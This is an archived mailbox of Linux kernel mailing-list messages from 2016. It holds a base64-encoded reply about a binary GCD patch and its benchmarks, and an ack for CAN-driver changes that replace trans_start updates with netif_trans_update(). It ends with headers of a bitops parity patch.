Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:1000 gmane.linux.ports.mips.general:54465 gmane.linux.ports.sh.devel:53999 gmane.linux.ports.openrisc:720 gmane.linux.ports.sparc:22954 gmane.linux.kernel.metag:1085 gmane.linux.ports.arm.kernel:498269 gmane.linux.ports.parisc:26762 gmane.linux.kernel:2216968 gmane.linux.ports.alpha:3726
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/1000>

1NogMjAxNi81LzcgMTY6NDEsIEdlb3JnZSBTcGVsdmluINC0tcA6Cj4gTm90aGluZyBjcml0aWNh
bCwgYnV0IGEgYml0IG9mIGtpYml0emluZy4KPiAoVGhhdCBpcyBzbGFuZyBpbiB0aGUgWWlkZGlz
aCBsYW5ndWFnZSBmb3IgYSBwZXJzb24KPiB3aG8gb2ZmZXJzIGFubm95aW5nIGFuZCB1bndhbnRl
ZCBhZHZpY2UuKQo+Cj4+IFRoZSBiaW5hcnkgR0NEIGFsZ29yaXRobSBpcyBiYXNlZCBvbiB0aGUg
Zm9sbG93aW5nIGZhY3RzOgo+PiAJMS4gSWYgYSBhbmQgYiBhcmUgYWxsIGV2ZW5zLCB0aGVuIGdj
ZChhLGIpID0gMiAqIGdjZChhLzIsIGIvMikKPj4gCTIuIElmIGEgaXMgZXZlbiBhbmQgYiBpcyBv
ZGQsIHRoZW4gZ2NkKGEsYikgPSBnY2QoYS8yLCBiKQo+PiAJMy4gSWYgYSBhbmQgYiBhcmUgYWxs
IG9kZHMsIHRoZW4gZ2NkKGEsYikgPSBnY2QoKGEtYikvMiwgYikgPSBnY2QoKGErYikvMiwgYikK
PiAxKSAiZXZlbiIgYW5kICJvZGQiIGFyZSBhZGplY3RpdmVzLiAgSW4gRW5nbGlzaCwgYWRqZWN0
aXZlcyB0byBub3QgaGF2ZQo+ICAgIHBsdXJhbCBzdWZmaXhlcy4gIFRodXMsICJ0aGV5IGFyZSBl
dmVuIiBvciAidGhleSBhcmUgb2RkIi4KPiAyKSBBbHRob3VnaCAiYWxsIiBpcyBub3QgZXhhY3Rs
eSB3cm9uZywgaXQgc291bmRzIG9kZC4gIFNpbmNlIHRoZXJlIGFyZQo+ICAgIGV4YWN0bHkgdHdv
IG9mIHRoZW0gaXQncyBjbGVhcmVyIHRvIHNheSAiYm90aCIuCj4KPiBJZiBJIGFsc28gcmVwaHJh
c2UgdGhlIGxhc3QgbGluZSB0byBmaXQgaW50byA4MCBjb2x1bW5zLCB5b3UgZ2V0Ogo+Cj4gICBU
aGUgYmluYXJ5IEdDRCBhbGdvcml0aG0gaXMgYmFzZWQgb24gdGhlIGZvbGxvd2luZyBmYWN0czoK
PiAtIAkxLiBJZiBhIGFuZCBiIGFyZSBhbGwgZXZlbnMsIHRoZW4gZ2NkKGEsYikgPSAyICogZ2Nk
KGEvMiwgYi8yKQo+ICsgCTEuIElmIGEgYW5kIGIgYXJlIGJvdGggZXZlbiwgdGhlbiBnY2QoYSxi
KSA9IDIgKiBnY2QoYS8yLCBiLzIpCj4gIAkyLiBJZiBhIGlzIGV2ZW4gYW5kIGIgaXMgb2RkLCB0
aGVuIGdjZChhLGIpID0gZ2NkKGEvMiwgYikKPiAtCTMuIElmIGEgYW5kIGIgYXJlIGFsbCBvZGRz
LCB0aGVuIGdjZChhLGIpID0gZ2NkKChhLWIpLzIsIGIpID0gZ2NkKChhK2IpLzIsIGIpCj4gKwkz
LiBJZiBib3RoIGFyZSBvZGQsIHRoZW4gZ2NkKGEsYikgPSBnY2QoKGEtYikvMiwgYikgPSBnY2Qo
KGErYikvMiwgYikKPgo+IDMpIE5lZ2F0aXZlIGNvbmZpZyBvcHRpb25zIGFyZSBhbHdheXMgY29u
ZnVzaW5nLgo+Cj4gV291bGQgaXQgYmUgYmV0dGVyIHRvIGNhbGwgaXQgQ09ORklHX0lORUZGSUNJ
RUJOVF9GRlMsIG9yIGV2ZW4gc2ltcGxlcgo+IENPTkZJR19TTE9XX0ZGUz8KPgo+IEFsc28sIHlv
dSdyZSBhbGxvd2VkIHRvIGFkZCAiaGVscCIgdG8gYSBub24taW50ZXJhY3RpdmUgY29uZmlnIG9w
dGlvbiwKPiBhbmQgc29tZSBkb2N1bWVudGF0aW9uIG1pZ2h0IGJlIHVzZWZ1bC4KPiBFLmcuCj4K
PiArY29uZmlnIENQVV9TTE9XX0ZGUwo+ICsJZGVmX2Jvb2wgbgo+ICsJaGVscAo+ICsJICBJZiBu
LCB0aGUgQ1BVIHN1cHBvcnRzIGEgZmFzdCBfX2ZmcyAoX19idWlsdGluX2N0eikgb3BlcmF0aW9u
LAo+ICsJICBlaXRoZXIgZGlyZWN0bHkgb3IgdmlhIGEgc2hvcnQgY29kZSBzZXF1ZW5jZSB1c2lu
ZyBhIGNvdW50Cj4gKwkgIGxlYWRpbmcgemVyb3Mgb3IgcG9wdWxhdGlvbiBjb3VudCBpbnN0cnVj
dGlvbi4gIElmIHksIHRoZQo+ICsJICBvcGVyYXRpb24gaXMgZW11bGF0ZWQgYnkgc2xvd2VyIHNv
ZnR3YXJlLCBzdWNoIGFzIGFuIHVucm9sbGVkCj4gKwkgIGJpbmFyeSBzZWFyY2guCj4gKwo+ICsJ
ICBUaGlzIGlzIHB1cmVseSBhbiBvcHRpbWl6YXRpb24gb3B0aW9uOyB0aGUga2VybmVsCj4gKwkg
IHdpbGwgZnVuY3Rpb24gY29ycmVjdGx5IHJlZ2FyZGxlc3Mgb2YgaG93IGl0IGlzIHNldC4KPiAr
CgpUaGFua3MgYSBsb3QuCgo+IFlvdXIgYmVuY2htYXJrIGNvZGUgZG9lc24ndCBoYXZlIHRvIGhh
dmUgYSBzZXBhcmF0ZSBjb2RlIHBhdGggaWYKPiBfX3g4Nl82NF9fOyByZHRzYyB3b3JrcyBvbiAz
Mi1iaXQgY29kZSBqdXN0IGFzIHdlbGwuICBwYXRocy4gIEFuZCB0aGUKPiB3YXkgeW91IHN1YnRy
YWN0IHRoZSBlbmQgYW5kIHN0YXJ0IHRpbWVzIGlzIHVubmVjZXNzYXJpbHkgY29tcGxpY2F0ZWQu
Cj4gVGhlIEMgbGFuZ3VhZ2UgZ3VhcmFudGVlcyB0aGF0IHVuc2lnbmVkIGFyaXRobWV0aWMgc2lt
cGx5IHdyYXBzIG1vZHVsbwo+IDJeYml0cyBhcyBleHBlY3RlZC4KCnJkc2Mgd29ya3Mgb24geDg2
LCB0aGUgb3RoZXIgcGF0aCBpcyBwcmVwYXJlZCBmb3Igb3RoZXIgYXJjaGl0ZWN0dXJlcy4KCj4g
SGVyZSBhcmUgc29tZSBtb3JlIHRpbWluZ3MsIHdpdGggdGhlIHNhbWUgZmxhZ3MgYXMgeW91ciB0
ZXN0czoKPgo+IEZpcnN0LCAzMiBiaXQgY29kZToKPiAJCWdjZDAJZ2NkMQlnY2QyCWdjZDMJZ2Nk
NAo+IEl2eSBCcmlkZ2UJMzE1NgkxMTkyCTE3NDAJMTE2MAkxNjQwCVBBU1MKPiBBTUQgUGhlbm9t
CTcxNTAJMjU2NAkyMzQ4CTI5NzUJMjg0MwlQQVNTCj4gQ29yZSAyCQk0MTc2CTI1OTIJNDE2NAky
NjA0CTM5MDAJUEFTUwo+IFBlbnRpdW0gNAkxMTQ5Mgk0Nzg0CTc2MzIJNDg1Mgk2NDUyCVBBU1MK
Pgo+IEFuZCA2NC1iaXQgKGxvbmdlciB0aW1lcyBiZWN1YXNlIHRoZSBpbnB1dHMgYXJlIGxhcmdl
cik6Cj4gSXZ5IEJyaWRnZQkxMDYzNgkyNDk2CTM1MDAJMjQzMgkzMzYwCVBBU1MKPiBBTUQgUGhl
bm9tCTE5NDgyCTQwNTgJNjAzMAk1MDAxCTY4NDUJUEFTUwo+Cj4gTG9va2luZyBhdCB0aG9zZSwg
SSdtIG5vdCBzdXJlIGhvdyBtdWNoIGJldHRlciB0aGUgZ2NkMy80IHZlcnNpb25zIGFyZQo+IHRo
YW4gZ2NkMS8yLiAgVGhlIGRpZmZlcmVuY2Ugc2VlbXMgcHJldHR5IG1pbm9yIGFuZCBzb21ldGlt
ZXMgbmVnYXRpdmUuCj4KClRoZSB3b3JzdCBjYXNlIG9mIGJpbmFyeSBHQ0QgaXMgdGhhdCBvbmUg
bnVtYmVyIGlzIHBvd2VyIG9mIDIsCmZvciBleGFtcGxlIGEgaXMgMHhmZmZmZmZmZiAoMHhjY2Nj
Y2NjYyBmb3IgdGhlICJldmVuL29kZCIgdmFyaWFudCkgYW5kIGIgaXMgMS4KClRoZSBnY2QzLzQg
dmVyc2lvbnMgY2FuIGhhbmRsZSB0aGlzIHByb3Blcmx5LgoKCgpfX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fXwpsaW51eC1zbnBzLWFyYyBtYWlsaW5nIGxpc3QK
bGludXgtc25wcy1hcmNAbGlzdHMuaW5mcmFkZWFkLm9yZwpodHRwOi8vbGlzdHMuaW5mcmFkZWFk
Lm9yZy9tYWlsbWFuL2xpc3RpbmZvL2xpbnV4LXNucHMtYXJj


From - Thu Nov 08 21:38:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marc Kleine-Budde <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.wireless.general,gmane.linux.network,gmane.linux.uml.devel,gmane.linux.kernel.firewire.devel,gmane.linux.drivers.rdma,gmane.linux.scsi,gmane.linux.can,gmane.linux.ports.parisc,gmane.linux.ports.arm.omap,gmane.linux.hams,gmane.linux.usb.general,gmane.org.freifunk.batman,gmane.linux.bluez.kernel
Subject: Re: [PATCH net-next 4/5] treewide: replace dev->trans_start update
 with helper
Date: Mon, 9 May 2016 09:12:51 +0200
Lines: 202
Approved: news@gmane.org
Message-ID: <57303873.5000108@pengutronix.de>
References: <1462285862-30946-1-git-send-email-fw@strlen.de>
 <1462285994-31983-1-git-send-email-fw@strlen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha512;
 protocol="application/pgp-signature";
 boundary="fcr4wLrDMdGPahnJScwefNsWCeJgfIRNI"
X-Trace: ger.gmane.org 1462778078 28780 80.91.229.3 (9 May 2016 07:14:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 May 2016 07:14:38 +0000 (UTC)
Cc: user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	linux1394-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org, linux-rdma-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	MPT-FusionLinux.pdl-dY08KVG/lbpWk0Htik3J/w@public.gmane.org, linux-scsi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-can-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-omap-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-hams-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-wireless-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org,
	b.a.t.m.a.n-ZwoEplunGu2X36UT3dwllkB+6BGkLq7r@public.gmane.org, linux-bluetooth-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Florian Westphal <fw-HFFVJYpyMKqzQB+pC5nmwQ@public.gmane.org>, netdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: linux-wireless-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon May 09 09:14:26 2016
Return-path: <linux-wireless-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkwg-linux-wireless-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-wireless-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1azfO6-0006Ww-KQ
	for glkwg-linux-wireless-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Mon, 09 May 2016 09:13:54 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1751565AbcEIHNn (ORCPT
	<rfc822;glkwg-linux-wireless@m.gmane.org>);
	Mon, 9 May 2016 03:13:43 -0400
Original-Received: from metis.ext.4.pengutronix.de ([92.198.50.35]:57988 "EHLO
	metis.ext.4.pengutronix.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751549AbcEIHNk (ORCPT
	<rfc822;linux-wireless-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Mon, 9 May 2016 03:13:40 -0400
Original-Received: from gallifrey.ext.pengutronix.de ([2001:67c:670:201:5054:ff:fe8d:eefb] helo=bjornoya.blackshift.org)
	by metis.ext.pengutronix.de with esmtps (TLS1.2:DHE_RSA_AES_256_CBC_SHA256:256)
	(Exim 4.80)
	(envelope-from <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>)
	id 1azfNR-00034F-Uv; Mon, 09 May 2016 09:13:14 +0200
Original-Received: from [192.168.43.236] (unknown [176.4.92.139])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client CN "mkl-96ES3uSCik0DzuLLRaFpuw@public.gmane.org", Issuer "StartCom Class 1 Primary Intermediate Client CA" (verified OK))
	(Authenticated sender: mkl-96ES3uSCik0DzuLLRaFpuw@public.gmane.org)
	by smtp.blackshift.org (Postfix) with ESMTPSA id 27DF2124C20;
	Mon,  9 May 2016 07:13:00 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Icedove/38.6.0
In-Reply-To: <1462285994-31983-1-git-send-email-fw-HFFVJYpyMKqzQB+pC5nmwQ@public.gmane.org>
X-SA-Exim-Connect-IP: 2001:67c:670:201:5054:ff:fe8d:eefb
X-SA-Exim-Mail-From: mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org
X-SA-Exim-Scanned: No (on metis.ext.pengutronix.de); SAEximRunCond expanded to false
X-PTX-Original-Recipient: linux-wireless-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-Sender: linux-wireless-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-wireless.vger.kernel.org>
X-Mailing-List: linux-wireless-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.wireless.general:151840 gmane.linux.network:411777 gmane.linux.uml.devel:15867 gmane.linux.kernel.firewire.devel:17506 gmane.linux.drivers.rdma:36438 gmane.linux.scsi:113567 gmane.linux.can:9328 gmane.linux.ports.parisc:26763 gmane.linux.ports.arm.omap:135649 gmane.linux.hams:7353 gmane.linux.usb.general:141604 gmane.org.freifunk.batman:15118 gmane.linux.bluez.kernel:67546
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.wireless.general/151840>

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--fcr4wLrDMdGPahnJScwefNsWCeJgfIRNI
Content-Type: multipart/mixed; boundary="GFLu7KIgkl64MDwwCs6gU46kBmw2cCDDs"
From: Marc Kleine-Budde <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>
To: Florian Westphal <fw-HFFVJYpyMKqzQB+pC5nmwQ@public.gmane.org>, netdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
 linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org, linux1394-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
 linux-rdma-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, MPT-FusionLinux.pdl-dY08KVG/lbpWk0Htik3J/w@public.gmane.org,
 linux-scsi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-can-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-omap-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 linux-hams-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 linux-wireless-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, b.a.t.m.a.n-ZwoEplunGu2X36UT3dwllkB+6BGkLq7r@public.gmane.org,
 linux-bluetooth-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Message-ID: <57303873.5000108-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>
Subject: Re: [PATCH net-next 4/5] treewide: replace dev->trans_start update
 with helper
References: <1462285862-30946-1-git-send-email-fw-HFFVJYpyMKqzQB+pC5nmwQ@public.gmane.org>
 <1462285994-31983-1-git-send-email-fw-HFFVJYpyMKqzQB+pC5nmwQ@public.gmane.org>
In-Reply-To: <1462285994-31983-1-git-send-email-fw-HFFVJYpyMKqzQB+pC5nmwQ@public.gmane.org>

--GFLu7KIgkl64MDwwCs6gU46kBmw2cCDDs
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On 05/03/2016 04:33 PM, Florian Westphal wrote:
> Replace all trans_start updates with netif_trans_update helper.
> change was done via spatch:
>=20
> struct net_device *d;
> @@
> - d->trans_start =3D jiffies
> + netif_trans_update(d)
>=20
> Compile tested only.
>=20
> Cc: user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org
> Cc: linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org
> Cc: linux1394-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org
> Cc: linux-rdma-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: netdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: MPT-FusionLinux.pdl-dY08KVG/lbpWk0Htik3J/w@public.gmane.org
> Cc: linux-scsi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-can-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-omap-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-hams-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-wireless-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org
> Cc: b.a.t.m.a.n-ZwoEplunGu2X36UT3dwllkB+6BGkLq7r@public.gmane.org
> Cc: linux-bluetooth-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Signed-off-by: Florian Westphal <fw-HFFVJYpyMKqzQB+pC5nmwQ@public.gmane.org>
> ---
>  Checkpatch complains about whitespace damage, but
>  this extra whitespace already exists before this patch.
>=20
>  drivers/net/can/mscan/mscan.c                          | 4 ++--
>  drivers/net/can/usb/ems_usb.c                          | 4 ++--
>  drivers/net/can/usb/esd_usb2.c                         | 4 ++--
>  drivers/net/can/usb/peak_usb/pcan_usb_core.c           | 4 ++--

> diff --git a/drivers/net/can/mscan/mscan.c b/drivers/net/can/mscan/msca=
n.c
> index e36b740..acb708f 100644
> --- a/drivers/net/can/mscan/mscan.c
> +++ b/drivers/net/can/mscan/mscan.c
> @@ -276,7 +276,7 @@ static netdev_tx_t mscan_start_xmit(struct sk_buff =
*skb, struct net_device *dev)
>  	out_8(&regs->cantflg, 1 << buf_id);
> =20
>  	if (!test_bit(F_TX_PROGRESS, &priv->flags))
> -		dev->trans_start =3D jiffies;
> +		netif_trans_update(dev);
> =20
>  	list_add_tail(&priv->tx_queue[buf_id].list, &priv->tx_head);
> =20
> @@ -469,7 +469,7 @@ static irqreturn_t mscan_isr(int irq, void *dev_id)=

>  			clear_bit(F_TX_PROGRESS, &priv->flags);
>  			priv->cur_pri =3D 0;
>  		} else {
> -			dev->trans_start =3D jiffies;
> +			netif_trans_update(dev);
>  		}
> =20
>  		if (!test_bit(F_TX_WAIT_ALL, &priv->flags))
> diff --git a/drivers/net/can/usb/ems_usb.c b/drivers/net/can/usb/ems_us=
b.c
> index 3400fd1..71f0e79 100644
> --- a/drivers/net/can/usb/ems_usb.c
> +++ b/drivers/net/can/usb/ems_usb.c
> @@ -521,7 +521,7 @@ static void ems_usb_write_bulk_callback(struct urb =
*urb)
>  	if (urb->status)
>  		netdev_info(netdev, "Tx URB aborted (%d)\n", urb->status);
> =20
> -	netdev->trans_start =3D jiffies;
> +	netif_trans_update(netdev);
> =20
>  	/* transmission complete interrupt */
>  	netdev->stats.tx_packets++;
> @@ -835,7 +835,7 @@ static netdev_tx_t ems_usb_start_xmit(struct sk_buf=
f *skb, struct net_device *ne
>  			stats->tx_dropped++;
>  		}
>  	} else {
> -		netdev->trans_start =3D jiffies;
> +		netif_trans_update(netdev);
> =20
>  		/* Slow down tx path */
>  		if (atomic_read(&dev->active_tx_urbs) >=3D MAX_TX_URBS ||
> diff --git a/drivers/net/can/usb/esd_usb2.c b/drivers/net/can/usb/esd_u=
sb2.c
> index 113e64f..784a900 100644
> --- a/drivers/net/can/usb/esd_usb2.c
> +++ b/drivers/net/can/usb/esd_usb2.c
> @@ -480,7 +480,7 @@ static void esd_usb2_write_bulk_callback(struct urb=
 *urb)
>  	if (urb->status)
>  		netdev_info(netdev, "Tx URB aborted (%d)\n", urb->status);
> =20
> -	netdev->trans_start =3D jiffies;
> +	netif_trans_update(netdev);
>  }
> =20
>  static ssize_t show_firmware(struct device *d,
> @@ -820,7 +820,7 @@ static netdev_tx_t esd_usb2_start_xmit(struct sk_bu=
ff *skb,
>  		goto releasebuf;
>  	}
> =20
> -	netdev->trans_start =3D jiffies;
> +	netif_trans_update(netdev);
> =20
>  	/*
>  	 * Release our reference to this URB, the USB core will eventually fr=
ee
> diff --git a/drivers/net/can/usb/peak_usb/pcan_usb_core.c b/drivers/net=
/can/usb/peak_usb/pcan_usb_core.c
> index 5a2e341..bfb91d8 100644
> --- a/drivers/net/can/usb/peak_usb/pcan_usb_core.c
> +++ b/drivers/net/can/usb/peak_usb/pcan_usb_core.c
> @@ -274,7 +274,7 @@ static void peak_usb_write_bulk_callback(struct urb=
 *urb)
>  		netdev->stats.tx_bytes +=3D context->data_len;
> =20
>  		/* prevent tx timeout */
> -		netdev->trans_start =3D jiffies;
> +		netif_trans_update(netdev);
>  		break;
> =20
>  	default:
> @@ -373,7 +373,7 @@ static netdev_tx_t peak_usb_ndo_start_xmit(struct s=
k_buff *skb,
>  			stats->tx_dropped++;
>  		}
>  	} else {
> -		netdev->trans_start =3D jiffies;
> +		netif_trans_update(netdev);
> =20
>  		/* slow down tx path */
>  		if (atomic_read(&dev->active_tx_urbs) >=3D PCAN_USB_MAX_TX_URBS)

For the drivers/can part:

Acked-by: Marc Kleine-Budde <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>

regards,
Marc
--=20
Pengutronix e.K.                  | Marc Kleine-Budde           |
Industrial Linux Solutions        | Phone: +49-231-2826-924     |
Vertretung West/Dortmund          | Fax:   +49-5121-206917-5555 |
Amtsgericht Hildesheim, HRA 2686  | http://www.pengutronix.de   |


--GFLu7KIgkl64MDwwCs6gU46kBmw2cCDDs--

--fcr4wLrDMdGPahnJScwefNsWCeJgfIRNI
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQEcBAEBCgAGBQJXMDhzAAoJED07qiWsqSVqY58H/ix0AbZ+YrFYM2PIOprS2fXE
aX27+KlnttkKPZwwfFINkn2/zij9PmEHqTEIhWIQW+jkvzw3wk2+4r7S6RgCasja
uYAWpyo35ikxuaRPe9rzVseGZfULqW5rGxx5I9fp9eC4WFjyU66mwhWI08YY2apl
W1Lqfgzz2Op2wykMdjjjW9bjnDQLigGgdvjsvg03u0hyPhfWol23c3UexJU13qXJ
blCUgZ3l3JJeh3FsZlb1wJ08j4imD54l2H+/y3uDNEh9V3k40pTtDxWoRwx3wc1C
Q6gJ1MowW9/sLy+VOcMrFLy4JG652SUKe1B0pNocQX7QjHvQkt7pTtdx3reGwmM=
=cJdV
-----END PGP SIGNATURE-----

--fcr4wLrDMdGPahnJScwefNsWCeJgfIRNI--
--
To unsubscribe from this list: send the line "unsubscribe linux-wireless" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: zengzhaoxiu@163.com
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.openrisc,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: [patch V4 02/31] bitops: Include generic parity.h in some
 architectures' bitops.h
Date: Wed, 11 May 2016 17:06:17 +0800
Lines: 245
Approved: news@gmane.org
Message-ID: <1462957641-24241-1-git-send-email-zengzhaoxiu@163.com>
References: <1462955158-28394-1-git-send-email-zengzhaoxiu@163.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1462958029 16157 80.91.229.3 (11 May 2016 09:13:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 May 2016 09:13:49 +0000 (UTC)
Cc: Rich Felker <dalias@libc.org>, Aurelien Jacquiot <a-jacquiot@ti.com>,
 "Peter Zijlstra \(Intel\)" <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Will Deacon <will.deacon@arm.com>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 David Howells <dhowells@redhat.com>, Max Filippov <jcmvbkbc@gmail.com>,
 Hendrik Brueckner <brueckner@linux.vnet.ibm.com>, linux@lists.openrisc.net,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, Jesper Nilsson <jesper.nilsson@axis.com>,
 linux-am33-list@redhat.com, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>, linux-sh@vger.kernel.org,
 Russell King <linux@armlinux.org.uk>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 linux-snps-arc@lists.infradead.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed May 11 11:13:39 2016
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1b0QD3-0007Mx-BD
	for gla-linux-snps-arc@m.gmane.org; Wed, 11 May 2016 11:13:37 +0200
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1b0QD2-0001VF-Au; Wed, 11 May 2016 09:13:36 +0000
Original-Received: from m50-135.163.com ([123.125.50.135])
 by bombadil.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
 id 1b0QCy-0001Hx-6J; Wed, 11 May 2016 09:13:34 +0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=163.com;
 s=s110527; h=From:Subject:Date:Message-Id; bh=RVSnbectrlfNARKuUw
 5tbwJu5zCohB9+GloG4zoIQwY=; b=U/4R1qZcoB42X1AoFPMrOEZ4K/grL/rlQS
 3XR9NW4rqHeWpGrQJEhOD1F7bHoWvtDOwDH8ea1m+RcWUKA+HdoBkIiF5Ng8FuTt
 6OZO3FU+U0THOPL3Ikba+j/COq91Loz+GzzTfkgImoHl1R1dimc4zK7Ifn0n3GUw
 49P3MZOY0=
Original-Received: from zhaoxiuzeng-VirtualBox.spreadtrum.com (unknown [112.95.225.98])
 by smtp5 (Coremail) with SMTP id D9GowAD3MFKv9jJXqmRCAA--.9688S2;
 Wed, 11 May 2016 17:09:10 +0800 (CST)
X-Mailer: git-send-email 2.7.4
